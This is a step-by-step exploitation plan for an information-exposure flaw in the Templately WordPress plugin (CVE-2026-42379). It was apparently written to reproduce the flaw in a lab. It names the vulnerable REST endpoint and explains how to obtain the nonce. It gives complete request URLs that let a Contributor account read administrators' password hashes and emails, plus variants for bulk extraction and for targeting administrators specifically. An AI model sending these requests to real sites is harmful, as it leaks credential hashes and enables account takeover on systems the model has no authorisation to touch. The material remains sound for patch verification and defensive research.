Vulnerability Research Plan: CVE-2026-42379 (Information Exposure)

1. Vulnerability Summary

The Templately plugin (up to version 3.6.1) contains an authenticated information exposure vulnerability within its REST API implementation. Specifically, the autocomplete method in the Templately\API\Conditions class allows authenticated users with "Contributor" level access or higher to extract sensitive user data (including email addresses and password hashes) by exploiting improper input validation and dynamic object property access.

The vulnerability exists because the autocomplete-condition endpoint accepts a query parameter where the field key is used directly to access properties of WP_User objects returned by get_users().

2. Attack Vector Analysis

• Endpoint: /wp-json/templately/v1/autocomplete-condition
• Method: GET
• Authentication: Authenticated (Contributor+)
• Capability Check: current_user_can( $post_type_object->cap->edit_posts ) where Source::CPT is templately_library. Standard Contributors possess the edit_posts capability.
• Vulnerable Parameters:
  • query[query_type]: Set to authors to trigger user searching.
  • query[field]: The sensitive WP_User property to extract (e.g., user_email, user_pass, user_login).
  • payload: The search string to match users.

3. Code Flow

1. Request Entry: A GET request is made to wp-json/templately/v1/autocomplete-condition.
2. Permission Check: Templately\API\Conditions::permission_check is called. It verifies if the user has the edit_posts capability for the Templately CPT (templately_library).
3. Route Handling: Templately\API\Conditions::autocomplete is executed.
4. Input Processing:
   • The code retrieves $query = $request->get_param( 'query' ).
   • It identifies the search type via $type = $query['query_type'].
   • It identifies the target return field via $by_field = $query['field'].
5. Data Fetching: When $type is authors, it calls get_users( $args ), returning an array of WP_User objects.
6. Information Sink: The code iterates through the users:

   foreach ( $data as $item ) {
       $results[] = [
           'label' => $item->{$data_key}, // display_name
           'value' => $item->{$by_field}  // VULNERABLE: Dynamic property access
       ];
   }
   

   If by_field is user_pass, $item->user_pass returns the Bcrypt hash.

4. Nonce Acquisition Strategy

The REST API requires a standard WordPress wp_rest nonce for authenticated requests.

1. Login: Authenticate as a Contributor.
2. Navigate: Go to the WordPress Dashboard (/wp-admin/).
3. Extraction: Use browser_eval to extract the nonce from the wpApiSettings global object provided by WordPress core.
   • Command: browser_eval("wpApiSettings.nonce")
4. Usage: Include this nonce in the X-WP-Nonce header of the exploit request.

5. Exploitation Strategy

1. Target Identification: We will target the Admin user (ID 1) to extract their email and password hash.
2. Payload Construction:
   • action: templately/v1/autocomplete-condition
   • payload: admin (to search for the admin account)
   • query[query_type]: authors
   • query[field]: user_pass (to get the hash)
3. Execution:
   • Use http_request as the Contributor.
   • Method: GET
   • Headers: X-WP-Nonce: [EXTRACTED_NONCE]
   • URL: /wp-json/templately/v1/autocomplete-condition?payload=admin&query[query_type]=authors&query[field]=user_pass

6. Test Data Setup

1. Create Victim Admin: Ensure an admin user exists with a known username (e.g., admin).
2. Create Attacker Contributor:
   • Username: attacker
   • Password: password123
   • Role: contributor
3. Plugin State: Ensure the Templately plugin (<= 3.6.1) is installed and activated.

7. Expected Results

A successful exploit will return a JSON response containing an array of objects. Each object will contain the display_name of matched users and the sensitive data requested in the value field.

Example Response:

{
    "success": true,
    "data": [
        {
            "label": "Site Administrator",
            "value": "$P$ByY7..." 
        }
    ]
}

8. Verification Steps

1. Check Response: Confirm the value field contains a string starting with $P$ or $2y$ (standard WordPress/PHP password hashes).
2. WP-CLI Validation: Compare the extracted hash with the actual hash in the database.
   • Command: wp user get 1 --field=user_pass
3. Email Extraction: Repeat the exploit with query[field]=user_email and verify it matches wp user get 1 --field=user_email.

9. Alternative Approaches

• Bulk Extraction: If the search $payload is set to an empty string or a single common character (like a), the plugin might return multiple users depending on get_users defaults.
• Argument Injection: Since $query['query'] is passed to wp_parse_args and used in get_users($args), an attacker can override query parameters like role or include to target specific users:
  • URL: /wp-json/templately/v1/autocomplete-condition?payload=&query[query_type]=authors&query[field]=user_pass&query[query][role]=administrator